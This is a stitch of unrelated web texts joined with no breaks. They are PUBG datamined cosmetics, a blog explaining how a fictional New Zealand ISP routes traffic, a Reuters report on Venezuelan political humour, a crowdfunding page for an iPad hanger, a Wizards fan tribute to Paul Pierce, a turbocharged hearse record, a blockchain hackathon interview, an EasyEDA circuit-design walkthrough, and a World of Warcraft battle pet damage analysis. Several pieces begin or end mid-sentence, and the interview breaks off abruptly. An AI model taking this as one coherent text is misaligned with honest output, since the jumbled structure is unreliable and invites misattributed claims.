Though the servers the patch testing was done on are now closed, that didn't stop the revelation of a few additional add-ons for the game (jet skis!). Some of the larger patch additions were found through hidden files, including many more character customisation options on the way. Parachute colours, a bunch of new clothing items, badass actual body armor, and a whole lot of purple were found (including Twitch specific gear).
Thanks to Skin-Tracker, we've got a 3D look at some of the new additions on the way. Below are a few of our favourites:
To see even more of the new datamined items, you can see the full 3D demonstration right here. PUBG is available now for PC with an Xbox One release slated for later this year on December 12th.
About the Game:
PLAYERUNKNOWN'S BATTLEGROUNDS is a last-man-standing shooter being developed with community feedback. Starting with nothing, players must fight to locate weapons and supplies in a battle to be the lone survivor. This realistic, high tension game is set on a massive 8x8 km island with a level of detail that showcases Unreal Engine 4's capabilities.
PLAYERUNKNOWN aka Brendan Greene, is a pioneer of the Battle Royale genre. As the creator of the Battle Royale game-mode found in the ARMA series and H1Z1 : King of the Kill, Greene is co-developing the game with veteran team at Bluehole to create the most diverse and robust Battle Royale experience to date
Not Just a Game. This is BATTLE ROYALE.This post attempts to describe how Internet traffic with a fairly standard ISP works in New Zealand, from the point of a fictional ISP called “Generic ISP NZ Limited”. I can’t stress enough that this isn’t modelled on any actual ISP in New Zealand!The first thing to note is if you work in an ISP in New Zealand is that I've taken a few creative liberties with a few things. Feel free to point these out in the comments and I’ll tell you if I meant to do that, or I’ll correct the article as required. This is a fairly generic model I'm discussing here, I’m also talking mostly about ADSL services here too, though most things are relevant regardless of access method.I'm also not talking much about the portion of the network from your house to the DSLAM. There are other more knowledgeable people than me that can describe how it all works in detail.Ok, so! We’re based at 101 Fictional Street in Central Auckland.Let's look at our core network. This is where all our traffic has come in from our ADSL/Cable/3G/Dedicated links, across our backhaul connections and now has to route to the final destination. We now have a few different places we could send the traffic.Here's Generic ISP NZ’s Network Diagram (click it for bigger):Generic ISP NZ has 3 distinct different traffic paths out of the network. The following section discusses these paths, where they go and the costs associated with them.The first sort of traffic link we have to buy is International traffic. Our users would be pretty unhappy if they couldn't load Facebook, Twitter and JustinBeiber.com (Why God? Why?)All of our user’s traffic that has to “leave the country” travels over this link.This links is very expensive, so we only buy 100Mb/s of capacity. This is despite the fact we actually have a Gigabit Ethernet connection to our upstream, they rate limit us to 100Mb/s because that’s all we’re paying for.During peak hours, this link tends to run flat out and some of our users see a little bit of packet loss. The loss isn’t bad however and it’s only for 2-3 hours per night, so we’re sticking with it for the moment. We can’t afford to buy 130Mb/s like we’d need to keep the link uncongested and keep our subscriber prices the same currently.The next traffic link we have is our Peering traffic. This is traffic to other ISPs in New Zealand towards sites like TradeMe, local FTP mirrors etc. This is much cheaper than International traffic because most of the traffic is swapped over “free” peering sessions between the ISPs.Peering is great because it benefits both parties; therefore neither party changes the other. If we send all our traffic to Bob ISP Ltd for free, then they will send us all their traffic for free. Because of this, the more traffic we can get to go over our peering links the better for us, because it’s taking traffic that’d otherwise go over other links.The major peering exchange in New Zealand is called APE, the Auckland Peering Exchange. ISPs connect into APE and are able to freely exchange traffic.WIX, the Wellington Internet eXchange is another local peering point for ISPs that are in Wellington. There are other peering exchanges in New Zealand.We can send/receive as much traffic over our Gigabit Ethernet link to APE as we want; all we have to pay for is the physical connectivity to get to APE because it’s hosted in the SkyTower.Another small but interesting thing to note is that when you peer at APE, you don’t actually have to peer with every single ISP at APE. All you do is peer with the CityLink Hosted Route-Servers and they teach everyone everyone else’s routes. CityLink do a really great job of hosting this service, cheers CityLink!There are two major ISPs in New Zealand that don't peer with anyone else, TelstraClear and Telecom New Zealand. They do peer with each other though. What this means for us is that we have to purchase a connection from either TelstraClear or Telecom in order to get access to the resources and traffic within their networks. This cost costs us a fair amount of money, but it’s not as expensive like our International traffic is. So we can afford to keep this uncongested at all times, but we operate it with a tight margin.If we didn’t buy this link, we could still get to TelstraClear and Telecom, but we’d have to send traffic over our International link to get there. That’s an expensive thing for us to do and our smart users would complain about it, so we’re forced into buying a link from TelstraClear or Telecom.A lot of people would say this is a very dirty tactic from TelstraClear and Telecom, forcing us smaller players into buying a connection from them. I’ll leave that discussion for another time.The other side to this argument is that it's not fair for Telecom or TelstraClear to be offering the large amount of content within their network to a small ISP, when that small ISP has very little to offer in return. Or the fact that Telecom/TelstraClear might have to backhaul traffic up from ChristChurch for example to hand it over at peering point in Auckland, if the smaller ISP peers only in Auckland.Peering is a complex beast and there's the technical advantages and the commerical advantages. I didn't present the commercial aspect, but it's important to note that it's there. Personally I think peering is a good thing, but a beancounter would see it otherwise!Some other ISPs in the market might not peer directly at APE like we do, instead they might just buy a single Domestic connection from TelstraClear or Telecom which contains all of TelstraClear’s, Telecom’s and APE’s routes in it. Doing this means they only have to manage two links, an International one and a Domestic one.We find it easier to have 3 links though we have a good idea of where our traffic is flowing.Because International bandwidth is so much more expensive for us, our user's HTTP traffic over this link is subject to caching. When we do it properly, caching is not noticeable to our users and in fact is beneficial to them as content served from the cache is much faster than content served from overseas. It also saves us from having to transmit/receive data over our International link, freeing it up for other user traffic.So caching is actually a good thing, despite what a lot of people think. The reason that most people have the misconception that caching is bad is because when it's not working properly, stale or even just wrong content can be served. This is pretty frustrating for our end users. A lot of sites also don't provide proper information to our caches, causing us even more problems with stale content. We usually have to bypass these sites as we learn about them, so that we don’t attempt to cache any of their content.A lot of people use the SpeedTest.net site as a measure of their ISPs speed and hopefully the above explanation will now help explain why it alone isn’t a great measure. The reason it’s not is because SpeedTest traffic travels over the Peering (or Domestic) connection that your ISP has. As discussed, these links are easy to keep upgraded and uncongested. International links, where most of your day-to-day browsing and downloading will come from, are expensive and ISPs like ourselves experience congestion over it during peak hours.So it’s possible for Generic NZ Ltd customers to a good SpeedTest result, but for them to still have a sub-optimal browsing experience during peak hours.SpeedTest is a good indicator of your access method’s (ADSL/Mobile etc) maximum performance capability, not so much overall Internet experience you’ll actually get.Edit: It's also good to show you if your ISP is experiencing congestion over their backhaul links during peak hours (also quite common) as you'll get poor SpeedTest results showing this. [Thanks kyhwana2]I hope this gives a good overview of how an ISP in New Zealand routes traffic around.I am happy to answer any technical type questions or even post another blog with more detail if you're interested in this.Cheers,MuppetPS: I'm crap with HTML/CSS so apologies for the bland look and horrid formatting.Other related posts:* Jokes proliferate about shortages and food queues
* Comedian says socialist government becoming thin-skinned
* Surreal reality often hard to distinguish from satire
By Peter Murphy
CARACAS, July 30 (Reuters) - A genie appears from a lamp in the hands of an astonished Venezuelan boy to declare: “You can ask for anything - except toilet paper!”
The world’s highest inflation and shortages of basics from milk to toilet roll are really no laughing matter for Venezuelans, but they find solace in a thriving comedy scene lampooning the governance behind the economic strife.
Through cartoons like the genie, stand-up comedy, and online satire, humor has become a prominent and poignant form of criticism as mainstream media exercise more self-censorship.
“Despite oil at $100 a barrel, Venezuela is living through the worst economic crisis of its history... It’s the Midas touch in reverse,” stand-up comic Laureano Marquez told Reuters before entertaining a 600-strong audience at a Caracas theater.
His 90-minute routine delivered a witty critique of problems from food queues and medicine shortages, to government corruption and skewed courts. The stand-up branded his show a “sit down” because of the serious themes at which it pokes fun.
“Humor may be mankind’s most serious attitude because we use it to say some very painful things,” said Marquez, 50, who warmed up his audience with jokes about the trials of the weekly grocery shop, and the queues and squabbles caused by shortages.
One audience member afterwards called it “therapy.”
The 1998 election of ex-army commander Hugo Chavez swept in a socialist “revolution” that won plaudits for dedicating more of Venezuela’s oil wealth to helping its poor. But 15 years on and a year after his death, price increases and crime are plaguing Venezuelans while under-investment is constricting oil output.
HARD TIMES SPAWN MORE HUMOR
The economic crisis has been bad for business - but a boon for humor. “Ironically, the worse the country gets, the better the humor gets,” said press cartoonist Eduardo Sanabria or Edo, who has sketched for El Mundo daily for the last seven years.
One cartoon in July showed Chavez dancing with six plump cows representing the oil sector bonanza, then successor Nicolas Maduro later gazing in horror at a list of bills to be paid as the now-emaciated cows loll around drunk or crying in despair.
Edo feared he would be left struggling for ideas after Chavez’s death in March 2013 from cancer, but he says material has abounded under successor Maduro who has so far held steadfast to most Chavez-era polices.
One close-to-the-bone cartoon strip by satirical website “The Bipolar Chiguire” showed Maduro, who in real life said Chavez was “inoculated” with cancer by his foes, seeking ideas from advisers about how to explain Chavez’s illness.
“It was Israel,” says one. “It was the CIA”, pipes up another. “Tell the truth,” suggests a third aide, who is promptly thrown out of the window.
Edo depicted the government’s much-vaunted war on corruption as a net reaching into the sea, picking out small fish while huge ones nearby grin and clutch suitcases bulging with dollars.
Though most prominent comedians appear pro-opposition, the anti-government parties do not escape the derision.
Divisions within the Democratic Unity coalition, for example, were mocked in one cartoon as a jumble of signs with their various objectives all pointed in different directions.
SATIRE OR REALITY?
The imposing skyscrapers of Caracas are a testament to decades of oil wealth, adding to the sense of bewilderment now at barren shelves and near-worthless bundles of cash.
On the street, Venezuelans constantly josh with each other about the situation. “Careful you don’t get robbed! Hide it!” people shout at shoppers seen with flour, oil or sugar.
“Welcome to Havana!” passersby sometimes taunt the queues.
The increasing surrealism means genuine news stories sometimes rival satire for absurdity, say Juan Andres Ravell and Oswaldo Graziani Lemoine, creators of El Chiguire Bipolar.
Their stories often fool readers who stumble upon outlandish stories on social media without realizing they are fake.
“The government has done so many crazy things in the past you can believe anything,” said Graziani.
Maduro’s recent assertion that airlines’ cutting of flights to Venezuela was due to reassignments for the World Cup, and not a $4 billion debt, might not have looked amiss as a satire.
Ditto a genuine announcement that passengers at Caracas’ international airport would have to pay a new ozone tax.
Headlines from El Chiguire this week included a dig at the ruling Socialist Party’s deification of Chavez - “Party congress debates whether Chavez was galactic or celestial.”
The site comically sidestepped the latest national controversy over a former intelligence head jailed in Aruba due to U.S. drug-trafficking charges: “We’re not going to write an article about the detained general because we want to live!”
Shortages of ferry tickets were lampooned with a spoof new “dolphin” service, while the Byzantine three-tier currency system spawned this headline: “New currency scheme contemplates the exchange of tears for dollars.”
Comedians say controls over free speech have tightened under Maduro, especially since anti-government protests this year sparked violence killing more than 40 people.
“You can feel that this government is more sensitive to criticism,” said cartoonist Edo. “Chavez could live with humorous criticism because he had his charisma.”
The Chiguire Bipolar’s website has been hacked and content substituted with pro-government messages, and stand-ups say they can no longer book government-controlled theaters as venues.
Comedian Luis Chataing’s TV show was ended in June by private broadcaster Televen after his mockery of the government’s display of emails as evidence of coup allegations.
In the skit, Chataing showed viewers how to falsify evidence using paper, scissors and glue - an apparent jab at the amateur appearance of the e-mails shown on TV with annotations and arrows pointing to the allegedly incriminating sections.
“All you need is paper, photos of those incriminated, red arrows that you can find anywhere left over from a prior production of false evidence... an email you’ve written yourself... and of course a lot of bad faith.” (Additional reporting by Andrew Cawthorne; Editing by Andrew Cawthorne and Lisa Shumaker)Watch the video!
Say hello to the all new iPad hanger for travelers: the HighView!
What is the HighView and where can I use it?
The HighView lets you hang your iPad for comfortable viewing. Each HighView gives 1 month of clean water to a classroom of Guatemalan children in need.
The HighView is perfect for travel! You can use it on most airplane and car seats, suitcase handles, and tray table locks.
Other great places to hang the HighView are strollers, gym machines, kitchen cabinets, and more. The options are limitless!
The HighView is flexible and lightweight so you can roll it up for easy storage when you’re on the go.
How do I hang a HighView?
You can hang a HighView 3 different ways with its easy-to-use adjustable strap and loops:
Back of HighView
How does a HighView give back?
Every HighView gives 1 month of clean water to a classroom of Guatemalan children in need through our partner, Ecofiltro. The way this works is each HighView helps fund the purchase of an Ecofiltro water filter. The filter is donated to a classroom of children for them to have easy and reliable access to clean drinking water.
Many children miss school because of diseases contracted from drinking unsafe water. These diseases impact children's ability to go to school.
We want to help keep Guatemalan children healthy for them to finish their schooling! With your help, Ecofiltro water filters will be provided to schools for children to drink safe, clean, and filtered water.
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Other HighView Details:
Patent Pending
Product made in Guatemala
Materials: Soft oxford, leather details, metal clips
Production: Late September- Early October 2014
Delivery: November (hopefully October!) 2014
Shipping: Please keep in mind that the Pledge amounts already have shipping included for the US. Extra shipping costs are added separately for non-US backers.
Retail box
We need the funding to place our first order of HighViews! Please help us kickstart our product. Funding and sharing the project with friends and family is greatly appreciated!
Thank you!May 9, 2015; Washington, DC, USA; Washington Wizards forward Paul Pierce (34) celebrates while leaving the court after making the game-winning basket against the Atlanta Hawks as time expired in the fourth quarter in game three of the second round of the NBA Playoffs. at Verizon Center. The Wizards won 103-101. Mandatory Credit: Geoff Burke-USA TODAY Sports
Washington Wizards Host The Truth And The Clippers
I’ve been a fan of the Washington Wizards for virtually my entire life and there haven’t been many bright moments. In fact, most of the moments have been quite depressing. From failed draft picks to injured star players, being a fan of the often dysfunctional franchise has been tough.
But this past season was awesome.
After the Wizards lost Trevor Ariza to the Houston Rockets, most expected second year forward Otto Porter to become the team’s starting small forward.
Porter was coming off a successful run in the NBA Summer League and the Wizards didn’t have much room to replace Ariza. Then Ernie Grunfeld managed to sign future Hall-of-Famer Paul Pierce.
Pierce is someone whom I never even dreamed of seeing in a Wizards uniform. As one of the greatest to ever play the game, landing Pierce wasn’t even fathomable. So when the news broke, I was seriously shocked. It still doesn’t seem real, if I’m going to be honest. Pierce played for the Washington Wizards.
Not only did Pierce suit up for Washington, but he played some of the most meaningful basketball that’s been played in the nation’s capital in at least the past decade. The Truth stepped up in the NBA Playoffs and helped lead Washington to a series sweep over the Toronto Raptors.
Through the boos and headlines, Pierce continued to hit clutch shots in Toronto and buried the poor fans in their seats. That’s what The Truth does.
In the semi-finals against the Atlanta Hawks, we got more of the same from Pierce.
With John Wall out with a broken hand, Pierce took it upon himself to give the team a lift and a chance to advance to the conference finals. In Game-3, Pierce hit what was one of the most memorable shots in Washington Wizards history — a game winner over three Hawks defenders, followed by a quote that will never be forgotten.
In Game-6, Pierce hit a step-back 3-point shot that was waved off. It was his final moment as a member of the team.
For the first time in forever, the Washington Wizards were actually getting some attention in the mainstream media and none of it would’ve occurred without Pierce’s presence. Heck, they even got to play on Christmas Day. The Washington Wizards got to play on Christmas Day, guys.
Even though the former Celtic was past his prime, he still delivered when the team needed him most, both on and off the court.
Pierce was outspoken about the team, often crediting John Wall and Bradley Beal for the team’s success.
Pierce also went out of his way to take some of Washington’s young leaders under his wing, giving them advice on how to take charge moving forward.
Without Pierce on the roster, we never would’ve gotten to see Otto Porter flourish in the NBA Playoffs.
He mattered that much to the young forward and certainly increased his fragile confidence.
Once the final buzzer went off in D.C., we all pretty much knew that Pierce’s time in Washington was coming to an end.
Pierce proudly rocked his Wizards merch off the court as a free agent and noted how much fun he had in Washington, but we all knew that he’d finish his career in his hometown.
Grunfeld and the Wizards offered Pierce a bigger deal than the Los Angeles Clippers, but returning home for what could be the last season of his career was more important to him. He decided to reunite with Doc Rivers in L.A. and is now playing a considerably smaller role there than he did in Washington.
Rivers has played Pierce off the bench this season and the 38-year-old has had a tough time finding his rhythm.
With Blake Griffin out, though, Pierce has been called upon to increase his scoring. Pierce is averaging just under five points per game this season, but is coming off a 20 point performance in Griffin’s absence.
Pierce is still more than capable of getting it done and his return to Washington on Monday night will be important. Pierce gave us an unforgettable season — one that I’ll certainly hold close for as long as I continue watching the team in D.C.
When Pierce’s career is over, many will reflect his championship days with the Boston Celtics and his Finals MVP performance. I, like many of you, will remember that he called game. Thanks for the memories, Paul.AMS Performance vice president Arne Toman has owned some strange projects including the infamous “AMS Express” Van, which ran mid-12s with AWD and a turbo LS engine. He loves putting a turbo LS engine in anything. Case in point: the 1996 Chevrolet Caprice Hearse known as Madness.
Our friends at GM High-Tech Performance featured the Hearse last year, detailing Toman’s plight to overtake an eerie record for the world’s fastest hearse. The basic gist is that the hearse packs a stock 6.0L truck engine with a custom turbo system, S480R turbo, and a 4L80E. This combo pushed the brick to 161mph at the Chicago WannaGoFast ½-mile event on 20psi of boost. This lead up to the eventual goal of running 9s with the stock 6.0L, a tough task in a 5,000-plus-pound mover of stiffs. "I love taking big heavy cars and making them unbelievably quick. I've always enjoyed sleepers," said Toman.
2/11
AMS’ tuner Chris Black slowly crept up in the tune to preserve the stock pistons and rods. Eventually in June 2013, Madness ran a 9.99 on drag radials with an 18-inch wheel in perfect conditions. But the grainy night video and difficulty with traction eventually caused them to give it another go with a set of slicks on 15-inch drag wheels. October 18, 2013 the world record was reset at 9.94 at 137mph.
But rest assured, there is plenty more left in it. "We could've run more boost honestly and we tried," stated Chris Black. "Arne really wanted that 9 second slip again so he was trying to make the time by manually modulating the launch RPM/boost level and running the car out the back door but it proved difficult."
Attempts were made at 25psi, but anything over 22-23psi would blow the tires off at the 60-foot. And launching with more than 10psi had the same effect, even with slicks. The crew plans to return to the track with a new Plex Boost Controller. No doubt this is a product that AMS also uses on its famous 1,000+hp Nissan GT-Rs and Audi R8s.
3/11
After testing out the new boost controller there is talk of stuffing the stock 6.0L and Borg Warner turbo into Toman’s Bluesmobile replica. But that isn’t the end of Madness, an AES 370 and larger turbo would put it into the mid-9s at “full weight with the casket and all.”
4/11On February 14, 2017, the winners of the Blockchain Virtual GovHack were announced during a presentation ceremony at the World Government Summit, a government-sponsored event that took place in Dubai that focused on smart city initiatives and blockchain powered governance.
Project Oaken took home first prize with their Tesla on the blockchain submission, which combines IoT hardware and software for smart cars to operate toll systems autonomously (machine-to-machine) through the use of smart contracts. Second place went to HealthBlocks, a platform to gather, store, use, and exchange health information of patients, and third place was awarded to Dubai Land Registry, with the mission of digitizing title deeds on the blockchain. Finalist and recipient of the “2017 Year of Giving Award,” was Hypergive, a digital food wallet that helps feed homeless and hungry people in the community in a secure and transparent manner.
Announced in November of 2016, the hackathon invited teams of developers to submit unique blockchain-based solutions to solve real world challenges surrounding global identity, the paper footprint, fraud, health, and the building of smart cities. Judges on the panel included Jeremy Gardner, founder at Augur, Joseph Lubin, CEO of ConsenSys, and Anthony Butler, CTO of IBM Cloud MEA, to name a few.
Project Oaken sat down with ETHNews to discuss their recent success and what it means for the blockchain space.
ETHNews: How does it feel to win 1st Prize in the Blockchain Virtual GovHack?
Project Oaken: “Overall, this week has been amazing. We need to first say thank you to the UAE GOVtechioneers Race for being forward thinking enough to sponsor such an epic hackathon – and Blockchain themed no less. Next, we would like to comment on how impressed we were by the other competitors that we were able to meet. We were extremely impressed with everyone's professionalism as well as their shared passion for Blockchain.
Being invited to attend the World Government Summit was almost as valuable from a networking point of view as our monetary prize was. There was a great Blockchain contingent in attendance so there was this amazing community to cheer both us and our competitors on.
The GOVtechioneers team did an amazing job throughout this entire event and their portion of the awards ceremony had such an amazing intro, including a laser show, video, and audio that set the tone.
As for the first place finish, getting to meet a true future thinking world leader in HH Sheik Mohammed is an experience and memory that will last a lifetime.”
E: What are some of your favorite highlights from the World Government Summit?
PO: “The presentation that the UAE government and HH Sheik Mohammed put on was simply breathtaking and it attracted some of the best minds in the world to convene in one location for a few days.
We think the biggest favorite here was being surrounded by and getting to interact with bio-engineers, geneticists, behavioral scientists, world leaders, authors and specialists of all walks, and, of course, blockchain engineers like ourselves |
new project must be created
Then, a new schematic is added
After creating the schematic, a new tab will be opened with 2 sets of tools
These tools are almost like any other available tools in any other schematic editor: wire, bus, label, grouping, text, shapes, move, …etc.
Secondly, to add a part to your design (CD4017 in our case), press shift+f or go to parts tab on the left side.
You will find many categories: LCSC (Official), Assembly LCSC, System Components,..etc. What does this mean? LCSC is a sister website of EasyEDA. It’s an electronics distributor and supplier. So LCSC tap contains the components available in the store. However, just use the search bar to enter the component name then hit ‘place’. The record below will show you how to draw the schematic.
After you connect the wires between pins of the various parts, you may use the label tool to add labels and to change the net name. First, you insert the net label and make it point to the target net (the gray dot on the wire) then you change the netlabel to any name you want. Note: Right click on any object to select it.
Note (1): you may add components from EELib tab also. This tab contains components which can be simulated later.
Note (2): Pressing space while holding the part rotates it.
Here is the final schematic:
Thirdly, PCB layout needs to be converted from schematic, as shown:
Now, a new tab and a new set of tools are there for drawing the PCB
There are two gadgets, one is the PCB tools and the other is for PCB layers. The pencil icon beside the layer means that this is the current used layer for the active used tool (wire, text,..etc). By pressing the gear button, you can change the layer’s color and enable/disable some additional layers.
As usual, first thing to do after creating the PCB is to do the right placement for the components. For this purpose a handy tool called ‘Cross Probe’ grabs the same selected parts from schematic and places them in the same way of the schematic in PCB editor. See this feature in action:
After the placement of the components, the step of drawing traces begins.
You can see from the record above how the the via is added automatically when a trace changes its layer from top to bottom.
Important notes:
1- Remember always after making any change to the schematic to update the PCB. The modifications in schematic are not converted to PCB without user update request. This’s kind of annoying!
2- As we said earlier, remember to save your design. Changes are not saved automatically.
Next, Mario character is imported to our PCB. So using import image tool the shape is imported as an object. It’s a very handy and easy-to-use tool.
Finally, GND traces are left unconnected as a GND polygon is going to be added as follows:
Testing EasyEDA: Miscellaneous
While drawing the PCB, several unintended mistakes can occur (i.e. overlaps, very near objects.. etc. A good thing about EasyEDA’s DRC (Design Rule Check) that it does the check in real-time while drawing, which is a very handy feature can’t be found in Eagle CAD, for example. In the image below, some examples of DRC output:
Another important place you must pay attention to is the ‘Design’ tap where you can browse all parts and net names and check DRC errors.
Finally, let’s talk in brief about how to design a new library.
First, you must know that parts in EasyEDA, which have symbols and footprints, use the same method of CAD tools like KiCAD where you can associate the package (footprint) from the schematic editor. Otherwise, the symbol is associated with a footprint from the library in the first place. Check the record to understand the difference:
EasyEDA provides two ways to design a new part: the first one is to create the symbol inside the schematic editor directly. The second approach is to use the Schematic/Layout Library editor (which is like any other library editor).
We will investigate more about the first method, inside the the schematic editor one: To do so, simply add pins in the schematic, then group them using ‘group’ tool. After they’re all selected, press group icon again. Now, enter the prefix, the name and the package name if available. It’s that simple!
Testing EasyEDA: Another Cool Features
There are many features in the system deserve to be mentioned like:align tool, modules feature, APIs, offline autorouter and the Importing from Eagle tool.
Align Tool
With one click you can make the selected components align vertically or horizontally with other many options. And here is a small test for this handy tool. Note: you can choose parts using left mouse button + ctrl while selecting.
Modules
Many PCB CAD tools, like Eagle CAD, have added this feature recently. This feature allows designers to reuse chunks of circuits later, where some common parts of the design (module) are needed in most circuits. So modules can be added in one step instead of designing it each time. This applies for schematic and PCB.
You have the option to save your current schematic/PCB as a module from file>save as module.
API/Scripts
No matter how the programme is full of tools, a user may still want to do something tools can’t do. EasyEDA provides the mechanism to write your own tools in form of an extension or a simple script.
The extensions or scripts are written in javascript language using a set of API functions from EasyEDA system. You can run the script and load the extension from the editor.
Not many system scripts and extensions, but at least the ability to write your own is there.
Autorouter
Like any other autorouter tool, you need to set some configuration before the routing stage and then run it.
You have two options to use online autorouter or to download the tool on your PC. EasyEDA creators advice to use the local one as the online autorouter may be overloaded when many users use it which causes a failure in the output.
Import from Eagle CAD
Another cool feature, which many CAD tools provide, is to import the design from another file type. EasyEDA supports importing files from Eagle CAD and even Altium.
An old Arduino UNO schematic was imported to EasyEDA editor with no serious problems. You may need to link some symbols with new footprints and fix some other bugs.
Testing EasyEDA: Sharing and Versions Control System Features
Sharing, collaborations and version control systems are cornerstone features for cloud tools like EasyEDA.
First, you can add another member to view or to edit the project. You can see in the image below how a user called atadiat was added with read and write permission.
Note: atadiat user will find cd4017 project in shared tab in the editor.
Second, EasyEDA allows you to create teams. Each team has members and projects. After you create the team, you invite members to it.
In order to show and edit team’s projects, you must switch to your team profile first.
Third, a simple version control system (if it can be called so). Where a full list of versions of your committed (saved) changes to your project. Also, you can fork other users’ public projects. It will be nice if this list has additional information like the name of the modifier (in case of team usage).
In addition, you can choose from project properties to make your project public or private and to select the proper license and current status of the project (in progress – completed).
PCB Fabrication and Components Purchase Service
Many players in the market of electronics tend to provide one-stop solutions. Users can order the BOM and manufacture the PCB by a partner or a sister company. EasyEDA is part of another group consists of an electronic parts distributor called LCSC and a PCB factory called JLCPCB
With one click you may order the BOM from LCSC
In addition, when you add a part to your design, you can add parts that are already available in the LCSC stock which is a very handy feature.
Also, when you want to generate the gerber file from the layout editor. A new browser tab will open to download the gerber files and to offer you manufacturing the PCB using JLCPCB service with a very handy quote tool.
They have an interesting and economical offer called ‘Big Price Drop’. For $2 you can get 10pcs for PCBs with 2-layer and with sizes less than 10cmx10cm. If you are interested in how to order from JLCPCB, you can check this guide.
Conclusion
EasyEDA platform has a very promising future with such hard working behind this cloud tool which successfully brought a very good set of tools. Some of these tools are just added recently in a very known dominated desktop program (try to guess :D)!
UX (user experience) still needs some enhancements to make the editor using more smooth. To name one of the desired features: there are no real-time collaboration between team members. This means, if two members are editing the same schematic or layout they can’t see each other’s edits in real-time and the edits are taken from the oldest timestamp ones when one of them save. Other enhancements can be done to the experience while drawing traces in the PCB can be added also.
Last but not least, there are many others features deserve to be highlighted maybe in a next part or article. For now, you can download and read the official documentation of EasyEDA. Thanks to EasyEDA team for the support they showed while writing this overview and happy routing with EasyEDA!
Note: I compared a lot with Eagle CAD in this article. That does not means Eagle CAD is weak or bad, but as a regular user of Eagle CAD, I found it helpful to compare some of EasyEDA features with what I know about Eagle CAD in some places.Hi everyone, I will be making an analysis post every weekend. I’ll also be making some non-analysis posts just for fun sometimes as well. This weekend’s topic is analyzing battle pet ability damage in relation to a pet’s base attack stat. I believe I’m the first one to try to figure out this formula! TL;DR, please skip down to the conclusion.
EDIT: It has been brought to my attention by taggedjc from Reddit that I am using the term Power incorrectly, as “Base Attack” is actually correctly termed as Power in game. I will be making the following corrections:
1. Base Attack -> Power
2. Power -> (Ability) Base (which I’d like to point is is listed as Power on WoWDB)
Purpose: After gathering some data, doing some analysis, and staring at then numbers for a very long time. First I’ll post the raw data, I’ve gathered from leveling along with initial graphs and finally conclude with the proper damage formulas. I’d like to make note that the pets used were selected at random. I just happened to be looking at the Flying family.
Raw Data:
***These graphs are just raw data to support the formula that I will be discovering. You do NOT have to look through all of it. It will be used for reference.***
Data for Chicken (Normal Grade)
Level Base Power Peck Slicing Wind Squawk Adrenaline Rush Egg Barrage Egg Barrage 2 Egg Barage Total Flock Base Power Gain 6 60 80 40 40 40 36 N/A N/A 36 7 71 91 45 45 45 40 N/A N/A 40 11 8 81 101 50 50 50 45 N/A N/A 45 10 9 91 111 55 55 55 49 16 98 49 10 10 101 121 60 60 60 54 18 108 54 10 11 111 131 65 65 65 58 19 116 58 10 12 121 141 70 70 70 63 21 126 63 10
Data for Bat (Rare Grade)
Level Base Power Bite Life Leech Screech Hawk Eye Reckless Strike Nocturnal Strike Base Power Gain 12 131 151 75 75 N/A 226 302 13 142 162 81 81 N/A 243 324 11 14 153 173 86 86 N/A 259 346 11 15 164 184 92 92 N/A 276 368 11 16 175 195 97 97 N/A 292 390 11 17 186 206 103 103 N/A 309 412 11 18 197 217 108 108 N/A 325 434 11 19 207 227 113 113 N/A 340 254 10 20 218 238 119 119 N/A 357 476 11 21 229 249 124 124 N/A 373 498 11 22 240 260 130 130 N/A 390 520 11 23 251 271 135 135 N/A 406 542 11 24 262 282 141 141 N/A 423 564 11 25 273 293 146 146 N/A 439 586 11
Data for Wildhammer Gryphon Hatching (Rare Grade)
Level Base Power Peck Squawk Slicing Wind Adrenaline Rush Flock Flock Total Lift-Off Base Power Gain 21 257 277 138 138 138 124 620 484 22 269 289 144 144 144 130 650 505 12 23 281 301 150 150 150 135 675 526 12 24 293 313 156 156 156 140 700 547 12 25 305 325 162 162 162 146 730 568 12
Data for Singing Sunflower (Hidden Rare Grade)
Level Base Power Lash Solar Beam Solar Beam 2 Solar Beam Total Photosynthesis Inspiring Song Early Advantage Sunlight Base Power Gain 7 72 46 184 92 276 27 55 92 46 9 92 56 224 112 336 33 67 112 56 20 10 103 61 246 123 369 36 73 123 61 11 11 113 66 266 133 399 39 79 133 66 10 12 123 71 286 143 429 43 85 143 71 10
Data for Brilliant Kaliri (Hidden Rare Grade)
Level Base Power Peck Quills Shriek Cyclone Nocturnal Strike Predatory Strike Base Power Gain 9 105 125 62 62 43 250 125 10 117 137 68 68 47 274 137 12 11 129 149 74 74 52 298 149 12 12 140 160 80 80 56 320 160 11 13 152 172 86 86 60 344 172 12 14 164 184 92 92 64 368 184 12 15 175 195 97 97 68 390 195 11 16 187 207 103 103 72 414 207 12
Data Analysis:
This will be an analysis on only Quills from Brilliant Kaliri. First of all, I would like to give credit to WoWDB for using their numbers, especially (Ability) Base (which is confusingly listed as Power on the site). We will be looking at the Quills page.
Initially I proceeded to find a relationship between my B.Kaliri’s Power and (single) Quill damage. I assume that the relationship was linear since a sub-game in a game shouldn’t be that complicated, so I did a simple graph with linear trend line y = ax + b.
The R-squared value is extremely close to 1. Rounding the formula to whole numbers: y = 0.5x + 9. I thought the b=9 was a little fishy, so I went to see if there was a relationship to the Power listed on WoWDB. Quills Base is listed as 10. If you remember my first post, I said that basic Slot 1 Abilities do Power + 20. For example, my B.Kaliri’s Peck did 125 damage at level 9, which is 105 + 20. WoWDB has it listed as 20 Base. However, none of the other Base values (10. 30, 100) made any sense to me. They weren’t additive or multiplicative. Something caught my attention; At level 12, when B.Kaliri’s Power was 140, I noticed that the damage of Nocturnal Strike and Predatory Strike were multiples of the damage of Quills. The Base listed on WoWDB were 40 and 35 respectively.
After some thinking, I came up with:
Ability Damage = ((Power + 20)/20)*Base
Let’s plug in numbers to check. Level 12 data will be used for the sake of easy-to-follow numbers.
1. Quills: (10 Base)*((140 Power + 20)/20) = 80 Damage
2. Nocturnal Strike: (40 Base)*((140 Power + 20)/20) = 320 Damage
3. Predatory Strike: (35 Base)*((140 Power + 20)/20) = 280 Damage.
Why doesn’t the damage for Predatory Strike match? It has the damage of a 20 Power attack. There is a proc to the ability: “If the target is below 25% health, they are instantly killed.” For some reason, an extra 15 Base was tagged onto the base to account for the proc damage.
To make sure this formula is still valid, I did a check on another 35 Power attack. Luckily, my Wildhammer Gryphon Hatchling had Lift-Off.
At Level 25: (35 Base)*((305 Power +20)/20) = 568.75 Damage. I think it’s note-worthy that it rounds down to 568 just as I speculated in Post 1.
Let’s now take a look at Flock (W.Gryphon Level 25 data):
146 Damage = (X Base)*((305 Power + 20)/20).
Solving for X = 8.98 Power, which we round to 9. This is triple Flock’s listed Base because it goes on for 2 additional turns.
